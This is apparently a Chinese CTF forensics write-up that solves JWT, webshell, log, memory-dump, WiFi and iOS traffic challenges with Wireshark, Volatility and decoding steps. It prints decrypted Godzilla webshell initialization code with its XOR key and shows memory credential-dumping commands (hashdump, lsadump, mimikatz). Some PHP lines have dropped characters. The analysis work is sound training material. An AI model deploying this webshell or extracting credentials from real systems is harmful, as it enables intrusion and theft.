主要考察抓包分析、web安全、无线安全、内存取证分析、加密解密。难度最大的是无线安全、内存取证分析、加密解密。
JWT
该网站使用了______认证方式。(如有字母请全部使用小写)
题目分类已经提示很清楚了是JWT认证方式,看具体数据包内容的token也是分为三段式(Header、Payload、Signature)符合JWT特征。
黑客绕过验证使用的jwt中,id和username是____。(中间使用#号隔开,例如1#admin)
寻找命令成功执行数据流中的token,下图是命令为成功执行示例
命令执行成功如下效果(一般数据包最底部都会有成功执行的结果):
把token进行base64解码或寻找JWT解码工具皆可:
黑客获取webshell之后,权限是______?
获取用户权限命令一般是whoami,在数据中进行搜索且取最下层(序列号大的)数据:
黑客上传的恶意文件文件名是____。(请提交带有文件后缀的文件名,例如x.txt)
由前文可知命令执行的目录是/exec且上传文件,数据包大小相对会较大些。按照/exec和数据大小进行过滤:
黑客在服务器上编译的恶意so文件,文件名是____。(请提交带有文件后缀的文件名,例如x.so)
直接数据包搜索so关键字就可以得出结果:
黑客在服务器上修改了一个配置文件,文件的绝对路径为____。(请确认绝对路径后再提交)
熟悉linux的同学应该都清楚,配置文件根目录一般是/etc下,搜索其关键字:
Webshell
黑客登录系统使用的密码是____。
一般密码关键字是password或者passwd等等,几乎包含都pass,搜索其关键字:
再将其urldecode即可得到。
黑客修改了一个日志文件,文件的绝对路径为___。(请确认绝对路径后再提交)
对数据包搜索.log后缀关键字:
现在得到相对路径,还需要寻找网站目录。上传shell脚本之后一般会执行dir或pwd命令查看所在目录。因此搜索其关键字并追踪数据流:
黑客获取webshell之后,权限是_www-data__?
上一问已得到结果
黑客写入的webshell文件名是_____。(请提交带有文件后缀的文件名,例如x.txt)
上一问已得到结果
黑客上传的代理工具客户端名字是____。(如有字母请全部使用小写)
因需观察日志,数据实时转码,这里使用科来专家组件方便观察:
对比一下三个包:
观察以上3个包,黑客上传frpc工具的frpc.ini配置文件
黑客代理工具的回连服务端IP是_____。
根据上一问分析可知需要把第二包蚁剑数据内容进行解密:
先把POST数据内容进行urlcode解码得到结果如下:
上图两处关键代码表示:第一段表示从&第一个参数第三位数据解码,&第二个参数代表buf内容添加%后urldecode解码。不过也可直接hex解码
黑客的socks5的连接账号、密码是___。(中间使用#号隔开,例如admin#passwd)
上一问已有结果
日志分析
网络存在源码泄漏,源码文件名是____。(请提交带有文件后缀的文件名,例如x.txt)
扫描文件存在一般返回200,搜索关键字:
分析攻击流量,黑客往/tmp目录写入一个文件,文件名为___。
对日志文件搜索tmp关键字:
分析攻击流量,黑客使用的是___类读取了秘密文件。
上一问已有结果
内存分析
第一个问题是虚拟机的密码是____(密码中为flag{xxxx},含有空格,提交时不要去掉)
使用内存取证工具volatility进行分析,kali安装方式:
代码语言:javascript复制pip2 install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple
git clone https://github.com/gdabah/distorm.git
cd distorm3/
python setup.py install
git clone https://github.com/volatilityfoundation/volatility.git
python setup.py install
pip2 list 进行确认,出现下图结果即可正常使用。
代码语言:javascript复制vol.py -f Target.vmem imageinfo
代码语言:javascript复制vol.py -f Target.vmem --profile=Win7SP1x64hashdump
把be5593366cb1019400210101581e5d0d拿去hash解密失败
使用lsadump进行查看
vol.py -f Target.vmem --profile=Win7SP1x64lsadump
也可使用mimikatz插件进行直接查看,对tool-for-CTF项目下载,地址为:
代码语言:javascript复制https://github.com/ruokeqx/tool-for-CTF/tree/master/volatility_plugins
搜索原生插件路径,把mimikatz.py添加进去,如imageinfo
放在上图两个目录下即可使用。
第二个问题是虚拟机备份的手机文件里图片中的字符串是____(解题过程中需要用到上一题答案中flag{}内的内容进行处理。本题的格式也是flag{xxx},含有空格,提交时不要去掉)
代码语言:javascript复制vol.py -f Target.vmem --profile=Win7SP1x64filescan | grep "jpg|jpeg|png|tif|gif|bmp"
过滤图片文件,结果没有找到。
按照CTF出题习惯一般会放在桌面或用户目录下,所以先搜索Desktop关键字
代码语言:javascript复制vol.py -f Target.vmem --profile=Win7SP1x64filescan | grep "Desktop"
找到了题目中手机文件的提示要求的文件。
把上图文件进行导出
exe文件是自解压文件,双击后得到
还原HUAWEI文件需要使用kobackupdec工具,下载地址:
代码语言:javascript复制git clone https://github.com/RealityNet/kobackupdec.git
安装依赖库
代码语言:javascript复制pip3 install pycryptodome==3.5
pip3 install cx_Freeze
根据题目提示密码为flag内容,还需把空格替换成下划线:
代码语言:javascript复制cd kobackupdec
python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCXHUAWEI_P40_2021-aa-bb_xx.yy.zz /root/backup1
打开/root/backup1压缩包中的图片即可得到flag
简单日志分析
黑客攻击的参数是___。(如有字母请全部使用小写)
php站点一般参数含有?,搜索其关键字:
黑客查看的秘密文件的绝对路径是___。
对上一问攻击参数内容进行base64解码尝试:
黑客反弹shell的ip和端口是____。(格式使用“ip:端口",例如127.0.0.1:2333)
继续搜索攻击参数
继续对内容先urlcode解码再base64解码
SQL注入
黑客在注入过程中采用的注入手法叫____。(格式为4个汉字,例如“拼搏努力”)
先把日志文件全文进行urlcode解码,可以直接看出是盲注
黑客在注入过程中,最终获取flag的数据库名、表名和字段名是____。(格式为“数据库名#表名#字段名”,例如database#table#column)
找日志底部,可以得出结论
黑客最后获取到的flag字符串为___。
通过日志文件可以看出是使用=进行一一比对,遇到相等即匹配不继续遍历,最终得到结果。
Wifi
小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示,需要额外添加花括号)
此题有3个文件,看到vmem文件肯定是继续像内存分析当时的方式一样扔到volatility跑一下看看。
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmemimageinfo
查看cmd命令记录:
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem--profile=Win7SP1x86_23418 cmdscan
看到了把wireless信息进行了导入导出。因此再根据题目提示搜索压缩包后缀
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem--profile=Win7SP1x86_23418 filescan | grep -E "tar|zip"
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -D ./
打开压缩包看被加密的文件是无线网络连接信息和前面cmd的记录匹配上,右侧有密码提示,根据密提示提示寻找网卡GUID
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem--profile=Win7SP1x86_23418 filescan | grep "Interfaces"
成功进行解压,打开xml文件,得到密码:
使用Kali自带工具airdecap-ng对客户端数据解密:
代码语言:javascript复制airdecap-ng -e My_Wifi -p 233@114514_qweclient.cap
解密前客户端数据包看到的结果:
解密后客户端数据包看到的结果:
打开服务端数据包,看到有哥斯拉传shell流量:
对内容解密得到:哥斯拉shell的初始化
代码语言:javascript复制@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i ) {
$c = $K[$i 1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
使用科来专家分析组件打开客户端最后一个会话流
去掉前面的16位和后面的16位,具体原来可参考freebuf文章(哥斯拉Godzilla加密流量分析)地址为:
代码语言:javascript复制https://www.freebuf.com/sectool/285693.html
得到
代码语言:javascript复制fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB BlWZhjRlQuTIIB5jMTU=
我使用phpstudy环境运行php 执行以下内容,
代码语言:javascript复制function encode($D,$K){
for($i=0;$i<strlen($D);$i ) {
$c = $K[$i 1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$a='fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB BlWZhjRlQuTIIB5jMTU=';
echogzdecode(encode(base64_decode($a),'3c6e0b8a9c15224a'));
得到flag
IOS
黑客所控制的C&C服务器IP是________。
用wireshark导入keylog文件,对TLS流量进行解密
根据数据包序号从大到小倒序进行查看,可得结果:
黑客利用的Github开源项目的名字是______。(如有字母请全部使用小写)
尝试搜索github关键字,得到结果:
通讯加密密钥的明文是________。
秉着“黑客”不做无用之功的精神,搜索下载ios_agent关键字,可得到结果:
黑客通过SQL盲注拿到了一个敏感数据,内容是________。
不断的翻看流量数据包,可以看到还有http2协议的流量,进行过滤,导出http日志
对CSV的info字段过滤/info信息
把info列的内容提取到notepad 中且进行urldecode解码:
下面的操作和前面SQL注入HEX->ASCII得到flag的方法一样
黑客端口扫描的扫描器的扫描范围是____________。(格式使用“开始端口-结束端口”,例如1-65535)
对目标地址192.168.1.12进行过滤,发现端口范围是10-499
黑客访问/攻击了内网的几个服务器,IP地址为____________。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)
查看访问日志,有172.28.0.2地址被传webshell,结合前面192.168.1.12,所有这两个地址。
172.28.0.2#192.168.1.12
黑客写入了一个webshell,其密码为__________。
从上图可知结果为参数fxxk,即为小马密码